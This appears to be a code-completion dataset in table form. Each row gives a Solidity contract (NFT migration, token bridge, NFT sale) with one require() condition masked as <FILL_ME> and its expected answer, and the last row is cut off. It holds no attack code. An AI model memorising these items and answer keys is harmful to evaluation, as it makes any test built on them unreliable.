comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"rescue: token already claimed" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./DefaultOperatorFilterer.sol";
import "./interfaces/IOmnibus.sol";
/// @title Vogu Rescue
/// @author Atlas C.O.R.P.
contract VoguRescue is ERC721, DefaultOperatorFilterer, Ownable {
enum RescueState {
OFF,
MIGRATION,
ACTIVE
}
IOmnibus public immutable captorContract;
RescueState public rescueState;
string public baseURI;
uint256 public counter;
uint256 public constant maxSupply = 304;
mapping(uint256 => bool) public tokensClaimed;
event TokenUsedForClaim(uint256 indexed tokenId);
constructor(
string memory _name,
string memory _symbol,
address _captorContract,
string memory _uri
) ERC721(_name, _symbol) {
}
/// @notice mints new Vogu token and burns tokenId on old Vogu contract
/// @param _tokenId is the Id of the NFT
function rescue(uint256 _tokenId) external {
require(
rescueState == RescueState.MIGRATION,
"rescue: Rescue State must be MIGRATION"
);
require(
captorContract.ownerOf(_tokenId) == msg.sender,
"rescue: caller must own token on captor contract"
);
require(<FILL_ME>)
tokensClaimed[_tokenId] = true;
emit TokenUsedForClaim(_tokenId);
_safeMint(msg.sender, ++counter);
captorContract.burn(_tokenId);
}
/// @notice mints new vogu tokens and burns old tokenId's on old contract
/// @param _tokenIds are the Id's of the NFT's
function rescueBatch(uint256[] calldata _tokenIds) external {
}
/// @param _amount is the amount of tokens owner wants to mint
function mintReserveTokens(uint256 _amount) external onlyOwner {
}
/// @param _rescueState is the state of the contract either OFF or ACTIVE
function setRescueState(RescueState _rescueState) external onlyOwner {
}
/// @param _URI is the IPFS link
function setBaseURI(string memory _URI) external onlyOwner {
}
function _baseURI() internal view override(ERC721) returns (string memory) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| !tokensClaimed[_tokenId],"rescue: token already claimed" | 232,431 | !tokensClaimed[_tokenId] |
"rescueBatch: caller must own token on captor contract" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./DefaultOperatorFilterer.sol";
import "./interfaces/IOmnibus.sol";
/// @title Vogu Rescue
/// @author Atlas C.O.R.P.
contract VoguRescue is ERC721, DefaultOperatorFilterer, Ownable {
enum RescueState {
OFF,
MIGRATION,
ACTIVE
}
IOmnibus public immutable captorContract;
RescueState public rescueState;
string public baseURI;
uint256 public counter;
uint256 public constant maxSupply = 304;
mapping(uint256 => bool) public tokensClaimed;
event TokenUsedForClaim(uint256 indexed tokenId);
constructor(
string memory _name,
string memory _symbol,
address _captorContract,
string memory _uri
) ERC721(_name, _symbol) {
}
/// @notice mints new Vogu token and burns tokenId on old Vogu contract
/// @param _tokenId is the Id of the NFT
function rescue(uint256 _tokenId) external {
}
/// @notice mints new vogu tokens and burns old tokenId's on old contract
/// @param _tokenIds are the Id's of the NFT's
function rescueBatch(uint256[] calldata _tokenIds) external {
require(
rescueState == RescueState.MIGRATION,
"rescueBatch: Rescue State must be MIGRATION"
);
uint256 i;
for (; i < _tokenIds.length; ) {
require(<FILL_ME>)
require(
!tokensClaimed[_tokenIds[i]],
"rescueBatch: token already claimed"
);
tokensClaimed[_tokenIds[i]] = true;
_safeMint(msg.sender, ++counter);
emit TokenUsedForClaim(_tokenIds[i]);
unchecked {
++i;
}
}
captorContract.burnBatch(_tokenIds);
}
/// @param _amount is the amount of tokens owner wants to mint
function mintReserveTokens(uint256 _amount) external onlyOwner {
}
/// @param _rescueState is the state of the contract either OFF or ACTIVE
function setRescueState(RescueState _rescueState) external onlyOwner {
}
/// @param _URI is the IPFS link
function setBaseURI(string memory _URI) external onlyOwner {
}
function _baseURI() internal view override(ERC721) returns (string memory) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| captorContract.ownerOf(_tokenIds[i])==msg.sender,"rescueBatch: caller must own token on captor contract" | 232,431 | captorContract.ownerOf(_tokenIds[i])==msg.sender |
"rescueBatch: token already claimed" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./DefaultOperatorFilterer.sol";
import "./interfaces/IOmnibus.sol";
/// @title Vogu Rescue
/// @author Atlas C.O.R.P.
contract VoguRescue is ERC721, DefaultOperatorFilterer, Ownable {
enum RescueState {
OFF,
MIGRATION,
ACTIVE
}
IOmnibus public immutable captorContract;
RescueState public rescueState;
string public baseURI;
uint256 public counter;
uint256 public constant maxSupply = 304;
mapping(uint256 => bool) public tokensClaimed;
event TokenUsedForClaim(uint256 indexed tokenId);
constructor(
string memory _name,
string memory _symbol,
address _captorContract,
string memory _uri
) ERC721(_name, _symbol) {
}
/// @notice mints new Vogu token and burns tokenId on old Vogu contract
/// @param _tokenId is the Id of the NFT
function rescue(uint256 _tokenId) external {
}
/// @notice mints new vogu tokens and burns old tokenId's on old contract
/// @param _tokenIds are the Id's of the NFT's
function rescueBatch(uint256[] calldata _tokenIds) external {
require(
rescueState == RescueState.MIGRATION,
"rescueBatch: Rescue State must be MIGRATION"
);
uint256 i;
for (; i < _tokenIds.length; ) {
require(
captorContract.ownerOf(_tokenIds[i]) == msg.sender,
"rescueBatch: caller must own token on captor contract"
);
require(<FILL_ME>)
tokensClaimed[_tokenIds[i]] = true;
_safeMint(msg.sender, ++counter);
emit TokenUsedForClaim(_tokenIds[i]);
unchecked {
++i;
}
}
captorContract.burnBatch(_tokenIds);
}
/// @param _amount is the amount of tokens owner wants to mint
function mintReserveTokens(uint256 _amount) external onlyOwner {
}
/// @param _rescueState is the state of the contract either OFF or ACTIVE
function setRescueState(RescueState _rescueState) external onlyOwner {
}
/// @param _URI is the IPFS link
function setBaseURI(string memory _URI) external onlyOwner {
}
function _baseURI() internal view override(ERC721) returns (string memory) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| !tokensClaimed[_tokenIds[i]],"rescueBatch: token already claimed" | 232,431 | !tokensClaimed[_tokenIds[i]] |
"mintReserveTokens: Insufficient supply remaining for purchase" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./DefaultOperatorFilterer.sol";
import "./interfaces/IOmnibus.sol";
/// @title Vogu Rescue
/// @author Atlas C.O.R.P.
contract VoguRescue is ERC721, DefaultOperatorFilterer, Ownable {
enum RescueState {
OFF,
MIGRATION,
ACTIVE
}
IOmnibus public immutable captorContract;
RescueState public rescueState;
string public baseURI;
uint256 public counter;
uint256 public constant maxSupply = 304;
mapping(uint256 => bool) public tokensClaimed;
event TokenUsedForClaim(uint256 indexed tokenId);
constructor(
string memory _name,
string memory _symbol,
address _captorContract,
string memory _uri
) ERC721(_name, _symbol) {
}
/// @notice mints new Vogu token and burns tokenId on old Vogu contract
/// @param _tokenId is the Id of the NFT
function rescue(uint256 _tokenId) external {
}
/// @notice mints new vogu tokens and burns old tokenId's on old contract
/// @param _tokenIds are the Id's of the NFT's
function rescueBatch(uint256[] calldata _tokenIds) external {
}
/// @param _amount is the amount of tokens owner wants to mint
function mintReserveTokens(uint256 _amount) external onlyOwner {
require(
rescueState == RescueState.ACTIVE,
"mintReserveTokens: Contract must be ACTIVE to mint reserve"
);
require(_amount > 0, "mintReserveTokens: Cannot mint reserve 0 tokens");
require(<FILL_ME>)
uint256 i = 0;
for (; i < _amount; ) {
unchecked {
_safeMint(msg.sender, ++counter);
++i;
}
}
}
/// @param _rescueState is the state of the contract either OFF or ACTIVE
function setRescueState(RescueState _rescueState) external onlyOwner {
}
/// @param _URI is the IPFS link
function setBaseURI(string memory _URI) external onlyOwner {
}
function _baseURI() internal view override(ERC721) returns (string memory) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| _amount+counter<=maxSupply,"mintReserveTokens: Insufficient supply remaining for purchase" | 232,431 | _amount+counter<=maxSupply |
"the bridging is paused" | // SPDX-License-Identifier: MIT
/*
* Copyright © 2020 reflect.finance. ALL RIGHTS RESERVED.
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
abstract contract IERC20 {
function decimals() external view virtual returns (uint8);
function name() external view virtual returns (string memory);
function symbol() external view virtual returns (string memory);
}
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
}
function safeTransferETH(address to, uint256 value) internal {
}
}
contract BridgeBase is Context, Ownable {
using SafeMath for uint256;
mapping(uint256 => uint256) private _nonces;
mapping(uint256 => mapping(uint256 => bool)) private nonceProcessed;
mapping(uint256 => uint256) private _processedFees;
uint256 private _bridgeFee = 3;
bool public _isBridgingPaused = false;
address shih;
address system;
address bridgeFeesAddress = address(0xD378dBeD86689D0dBA19Ca2bab322B6f23765288);
event SwapRequest(
address indexed to,
uint256 amount,
uint256 nonce,
uint256 toChainID
);
modifier onlySystem() {
}
modifier bridgingPaused() {
require(<FILL_ME>)
_;
}
constructor(
address _shih,
address _system
) {
}
/**
* @dev Function for setting mint fee by owner
* @param bridgeFee Bridge Fee
*/
function setBridgeFee(uint256 bridgeFee) external onlyOwner returns (bool) {
}
function getBridgeFee() external view returns (uint256) {
}
function setSystem(address _system) external onlyOwner returns (bool) {
}
// function isBlacklisted(address account) external view returns(bool) {
// return _blacklisted[account];
// }
function setProcessedFess(uint256 chainID, uint256 processedFees)
external
onlyOwner
{
}
function getProcessedFees(uint256 chainID) external view returns(uint256){
}
function getBridgeStatus(uint256 nonce, uint256 fromChainID)
external
view
returns (bool)
{
}
function updateBridgingStaus(bool paused) external onlyOwner {
}
function swap(uint256 amount, uint256 toChainID)
external
payable
bridgingPaused
{
}
function feeCalculation(uint256 amount) public view returns (uint256) {
}
function swapBack(
address to,
uint256 amount,
uint256 nonce,
uint256 fromChainID
) external onlySystem {
}
}
| !_isBridgingPaused,"the bridging is paused" | 232,546 | !_isBridgingPaused |
"Swap is already proceeds" | // SPDX-License-Identifier: MIT
/*
* Copyright © 2020 reflect.finance. ALL RIGHTS RESERVED.
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
abstract contract IERC20 {
function decimals() external view virtual returns (uint8);
function name() external view virtual returns (string memory);
function symbol() external view virtual returns (string memory);
}
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
}
function safeTransferETH(address to, uint256 value) internal {
}
}
contract BridgeBase is Context, Ownable {
using SafeMath for uint256;
mapping(uint256 => uint256) private _nonces;
mapping(uint256 => mapping(uint256 => bool)) private nonceProcessed;
mapping(uint256 => uint256) private _processedFees;
uint256 private _bridgeFee = 3;
bool public _isBridgingPaused = false;
address shih;
address system;
address bridgeFeesAddress = address(0xD378dBeD86689D0dBA19Ca2bab322B6f23765288);
event SwapRequest(
address indexed to,
uint256 amount,
uint256 nonce,
uint256 toChainID
);
modifier onlySystem() {
}
modifier bridgingPaused() {
}
constructor(
address _shih,
address _system
) {
}
/**
* @dev Function for setting mint fee by owner
* @param bridgeFee Bridge Fee
*/
function setBridgeFee(uint256 bridgeFee) external onlyOwner returns (bool) {
}
function getBridgeFee() external view returns (uint256) {
}
function setSystem(address _system) external onlyOwner returns (bool) {
}
// function isBlacklisted(address account) external view returns(bool) {
// return _blacklisted[account];
// }
function setProcessedFess(uint256 chainID, uint256 processedFees)
external
onlyOwner
{
}
function getProcessedFees(uint256 chainID) external view returns(uint256){
}
function getBridgeStatus(uint256 nonce, uint256 fromChainID)
external
view
returns (bool)
{
}
function updateBridgingStaus(bool paused) external onlyOwner {
}
function swap(uint256 amount, uint256 toChainID)
external
payable
bridgingPaused
{
}
function feeCalculation(uint256 amount) public view returns (uint256) {
}
function swapBack(
address to,
uint256 amount,
uint256 nonce,
uint256 fromChainID
) external onlySystem {
require(<FILL_ME>)
nonceProcessed[fromChainID][nonce] = true;
uint256 temp = feeCalculation(amount);
uint256 fees = amount.sub(temp);
TransferHelper.safeTransfer(shih, bridgeFeesAddress, fees);
TransferHelper.safeTransfer(shih, to, temp);
}
}
| !nonceProcessed[fromChainID][nonce],"Swap is already proceeds" | 232,546 | !nonceProcessed[fromChainID][nonce] |
"_getTokenDataOf burned token!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
uint256 _lookupId = tokenId_;
require(_lookupId >= startTokenId(), "_getTokenDataOf _lookupId < startTokenId");
TokenData memory _TokenData = _tokenData[_lookupId];
if (_TokenData.owner != address(0) && !_TokenData.burned) return _TokenData;
require(<FILL_ME>)
require(_lookupId < nextTokenId, "_getTokenDataOf _lookupId > _nextTokenId");
unchecked { while(_tokenData[--_lookupId].owner == address(0)) {} }
return _tokenData[_lookupId];
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
function setMerkleRoot(uint256 type_, bytes32 merkleRoot_) external onlyAdmin("ADMIN") {
}
function setSaleState(uint8 state_) external onlyAdmin("ADMIN") {
}
function setSalePrice1(uint256 price_) external onlyAdmin("ADMIN") {
}
function setSalePrice2(uint256 price_) external onlyAdmin("ADMIN") {
}
function setOperatorlist(address address_, bool status) external onlyAdmin("ADMIN") {
}
function setBaseTokenURI(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setBaseTokenURIEXT(string calldata uri_) external onlyAdmin("ADMIN") {
}
function setMetadata(address address_) external onlyAdmin("ADMIN") {
}
function setUseMetadata(bool bool_) external onlyAdmin("ADMIN") {
}
function seeClaim(uint256 tokenId_) public view returns (uint256) {
}
function startTokenId() public pure virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| !_TokenData.burned,"_getTokenDataOf burned token!" | 232,608 | !_TokenData.burned |
"_burn not approved" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title ROARS
* @author 0xSumo
*/
abstract contract ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes calldata) external virtual returns (bytes4) { }
}
abstract contract ERC721 {
event Transfer(address indexed from_, address indexed to_, uint256 indexed tokenId_);
event Approval(address indexed owner_, address indexed spender_, uint256 indexed id_);
event ApprovalForAll(address indexed owner_, address indexed operator_, bool approved_);
string public name;
string public symbol;
string public baseTokenURI;
string public baseTokenURI_EXT;
uint256 public nextTokenId;
uint256 public totalBurned;
uint256 public constant maxBatchSize = 100;
function startTokenId() public pure virtual returns (uint256) {
}
function totalSupply() public view virtual returns (uint256) {
}
constructor(string memory name_, string memory symbol_) {
}
struct TokenData {
address owner;
uint40 lastTransfer;
bool burned;
bool nextInitialized;
}
struct BalanceData {
uint32 balance;
uint32 mintedAmount;
}
mapping(uint256 => TokenData) public _tokenData;
mapping(address => BalanceData) public _balanceData;
mapping(address => bool) public operatorList;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
function _getTokenDataOf(uint256 tokenId_) public view virtual returns (TokenData memory) {
}
function balanceOf(address owner_) public virtual view returns (uint256) {
}
function ownerOf(uint256 tokenId_) public view returns (address) {
}
function _mintInternal(address to_, uint256 amount_) internal virtual {
}
function _mint(address to_, uint256 amount_) internal virtual {
}
function _burn(uint256 tokenId_, bool checkApproved_) internal virtual { unchecked {
TokenData memory _TokenData = _getTokenDataOf(tokenId_);
address _owner = _TokenData.owner;
if (checkApproved_) require(<FILL_ME>)
delete getApproved[tokenId_];
_tokenData[tokenId_].owner = _owner;
_tokenData[tokenId_].lastTransfer = uint40(block.timestamp);
_tokenData[tokenId_].burned = true;
_tokenData[tokenId_].nextInitialized = true;
if (!_TokenData.nextInitialized) {
uint256 _tokenIdIncremented = tokenId_ + 1;
if (_tokenData[_tokenIdIncremented].owner == address(0)) {
if (tokenId_ < nextTokenId - 1) {
_tokenData[_tokenIdIncremented] = _TokenData;
}
}
}
_balanceData[_owner].balance--;
emit Transfer(_owner, address(0), tokenId_);
totalBurned++;
}}
function _transfer(address from_, address to_, uint256 tokenId_, bool checkApproved_) internal virtual {
}
function _setOperatorlist(address operator, bool status) internal virtual {
}
function transferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual {
}
function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual {
}
function approve(address spender_, uint256 tokenId_) public virtual {
}
function setApprovalForAll(address operator_, bool approved_) public virtual {
}
function _isApprovedOrOwner(address owner_, address spender_, uint256 tokenId_) internal virtual view returns (bool) {
}
function supportsInterface(bytes4 id_) public virtual view returns (bool) {
}
function _setBaseTokenURI(string memory uri_) internal virtual {
}
function _setBaseTokenURIEXT(string memory uri_) internal virtual {
}
function _toString(uint256 value_) internal pure virtual returns (string memory _str) {
}
function _getURI(uint256 tokenId_) internal virtual view returns (string memory) {
}
function tokenURI(uint256 tokenId_) public virtual view returns (string memory);
}
interface IOperatorFilterRegistry {
function isOperatorAllowed(address registrant, address operator) external view returns (bool);
function register(address registrant) external;
function registerAndSubscribe(address registrant, address subscription) external;
function registerAndCopyEntries(address registrant, address registrantToCopy) external;
function unregister(address addr) external;
function updateOperator(address registrant, address operator, bool filtered) external;
function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
function subscribe(address registrant, address registrantToSubscribe) external;
function unsubscribe(address registrant, bool copyExistingEntries) external;
function subscriptionOf(address addr) external returns (address registrant);
function subscribers(address registrant) external returns (address[] memory);
function subscriberAt(address registrant, uint256 index) external returns (address);
function copyEntriesOf(address registrant, address registrantToCopy) external;
function isOperatorFiltered(address registrant, address operator) external returns (bool);
function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
function filteredOperators(address addr) external returns (address[] memory);
function filteredCodeHashes(address addr) external returns (bytes32[] memory);
function filteredOperatorAt(address registrant, uint256 index) external returns (address);
function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
function isRegistered(address addr) external returns (bool);
function codeHashOf(address addr) external returns (bytes32);
}
abstract contract OperatorFilterer {
error OperatorNotAllowed(address operator);
IOperatorFilterRegistry constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);
constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
}
modifier onlyAllowedOperator(address from) virtual {
}
}
abstract contract OwnControll {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AdminSet(bytes32 indexed controllerType, bytes32 indexed controllerSlot, address indexed controller, bool status);
address public owner;
mapping(bytes32 => mapping(address => bool)) internal admin;
constructor() { }
modifier onlyOwner() { }
modifier onlyAdmin(string memory type_) { }
function transferOwnership(address newOwner) external onlyOwner { }
function setAdmin(string calldata type_, address controller, bool status) external onlyOwner { }
function isAdmin(string memory type_, address controller) public view returns (bool) { }
}
abstract contract MerkleProof {
mapping(uint256 => bytes32) internal _merkleRoot;
function _setMerkleRoot(uint256 type_, bytes32 merkleRoot_) internal virtual { }
function isWhitelisted(uint256 type_, address address_, bytes32[] memory proof_) public view returns (bool) {
}
}
interface IMetadata {
function tokenURI(uint256 tokenId_) external view returns (string memory);
}
interface INTP {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address address_) external view returns (uint256);
}
contract ROARS is ERC721, OwnControll, MerkleProof, OperatorFilterer {
address public metadata;
bool public useMetadata;
mapping(uint256 => uint256) private claim;
mapping(address => uint256) private mintedP1;
mapping(address => uint256) private mintedP2;
modifier onlySender() { }
uint8 public saleState;
uint256 public phase1Price = 0.01 ether;
uint256 public phase2Price = 0.02 ether;
uint256 public constant maxToken = 12345;
INTP public NTP = INTP(0xA65bA71d653f62c64d97099b58D25a955Eb374a0);
constructor() ERC721("ROARS", "ROARS") OperatorFilterer(address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6), true) {}
function ownerMint(address[] calldata addresses_, uint256[] calldata amounts_) external onlyOwner {
}
/// Phase1 sale
function phase1SaleAL1(uint256[] calldata tokenIds_, uint256 amount_) external payable onlySender {
}
function phase1SaleAL3(bytes32[] memory proof_) external payable onlySender {
}
/// Phase2 sale
function phase2Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
/// Phase3 sale
function phase3Sale(uint256 amount_, bytes32[] memory proof_) external payable onlySender {
}
function mint(address address_, uint256 amount_) external onlyAdmin("MINTER") {
}
function burn(uint256 tokenId_, bool checkApproved_) external onlyAdmin("BURNER") {
}
